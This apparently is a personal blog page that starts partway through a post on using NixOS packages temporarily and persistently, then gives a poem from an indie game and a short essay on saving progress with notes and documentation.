If we just wanna play with a package, we can have it downloaded and run temporarily.
When the command completes, the package will disappear from our system!

1
2
3
4
5
[user@nixos:~]$ echo 123 | nix run nixpkgs#ripgrep 123
123

[user@nixos:~]$ rg
rg: command not found

nix-shell

Using the nix-shell command, we can create a temporary, isolated shell environment where we can temporarily play with a package.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[user@nixos:~]$ nix-shell -p wget
this path will be fetched (0.62 MiB download, 3.25 MiB unpacked):
/nix/store/biaz74lcslins8c0kl5pv3yzxp1b02qj-wget-1.21.3
copying path '/nix/store/biaz74lcslins8c0kl5pv3yzxp1b02qj-wget-1.21.3' from 'https://cache.nixos.org'...

[nix-shell:~]$ wget
wget: missing URL
Usage: wget [OPTION]... [URL]...

Try `wget --help' for more options.

[nix-shell:~]$ exit
exit

[user@nixos:~]$ wget
wget: command not found

You can also use nix-shell with some Nix scripting to make your own isolated development environment. How cool is that!

Installing packages persistently

I’m feeling like typing stuff, so let’s install Vim!
To add a package persistently, we can edit our /etc/nixos/configuration.nix and add it here:

1
2
3
4
environment.systemPackages = with pkgs; [
# Existing packages...
vim
];

Then, we need to run sudo nixos-rebuild switch and it applies our new configuration, installing the package.

Alternatively, we can simply run sudo nix-env -iA nixos.vim.
It actually does the same thing behind the scenes - it changes the configuration.nix file.

Why this excites me

I have a problem with system bloat.
It’s not so much that I mind some of my disk being consumed by gigabytes of pointless cyber-garbage.

It’s more about the fact that you’re constantly afraid to change things, because systems become slow and break over time. Sure, there are backups, but is everything really guaranteed to be there and work correctly when something breaks? This has a terrible consequence - You don’t experiment on your host environment, and you don’t improve. You don’t even know what your system is running under the hood because you’re too afraid to look down there! So, how does it do you any good to have your OS entirely open-source if you never change anything because you’re afraid to break stuff?

Having the entire setup configuration declared in a bunch of files in a git repo just frees me to try crazy stuff, experiment! Try a new WM, mess with the configs, change the kernel! This is the true spirit of open source. If anything ever breaks, slows down or even gets compromised, I just copy over a bunch of files and do a sudo nixos-rebuild switch, and if I really mess up, I could always reinstall NixOS and apply the configuration, or even create an installation ISO based on my config files to get everything back and working.

If you like a certain setup, you could easily clone it to another PC, or even share it with friends. You could have an entire organizational network definition, including desktops, servers, routers all declared in a central repository, and deploy them with a single command, or even have them PXE boot from network and install a fresh config. This level of control and transparency makes maintenance, upgrades, security and life in general so much simpler and more fun.

References

Poem: Kiss the Stars Goodbye

Men think themselves just like the Gods,
and so, the world is theirs alone;
and all its life, and all its love,
are simple things, to steal and own.

And when the world is dead and gone,
they look above, with hungry eyes;
that ancient cloak of boundless dark,
they claim with bloody, warring cries.

Each Moon and Sun, they overturn,
and in their greed, they tear, and maim,
until there is nothing left of
that tapestry they wished to tame.

But we, the ones they leave behind,
we look above and wish to fly.
But where to go, into that night,
after we kiss the stars goodbye?

This poem is from an indie shoot-em-up game called Kiss the Stars Goodbye by Linker.

The Importance of Preserving Progress

Sometimes, there is a need to put everything else aside and become hyper-focused on some task. Knowing that, we subconsciously try to hold the state of the things we left, keeping track of everything in our mind. The problem with this is that human memory is not always reliable… We can easily forget important details or lose track of progress, especially when the task at hand is complex or spans across months. So, it’s crucial to have systems in place for saving state.

By using external systems (such as todo lists, note-taking apps, documentation, blog posts), we create tangible representations of our work. These external representations serve as reminders or cues that bridge the gap between our internal mental state and the external world, acting as a form of persistent memory for our ideas and projects, and allowing us to remember and pick up where we left off after our focus has temporarily shifted away to something else.

Using external systems also reduces mental load and stress. When we rely solely on our memory to keep track of everything, it creates a constant background worry that we might forget something important. This mental burden hinders our ability to concentrate fully on the current task and can we can easily become overwhelmed by trying to keep everything in sight.

Documenting progress also provides a valuable resource for reflection. When you write down your thoughts, actions, and state, you create a record that can be peacefully reviewed and analyzed at a later time. This practice of reflection allows you to gain insights, recognize patterns, learn from your experiences, and make informed and better decisions in the future.

Part of my motivation for writing this blog is to apply this idea to my own self-development. Some of the insights I’ve learned have taken time, energy and experience to gain, and apart from sharing them with others, I want to treasure them safely in this sanctuary of ideas, to form a persistent, personal timeline that I could look back and reflect upon, in years and even decades from now.

Here’s to a future of exploration, joy, growth and fulfillment.
May our external systems continue to support our endeavors and serve as a testament to our achievements!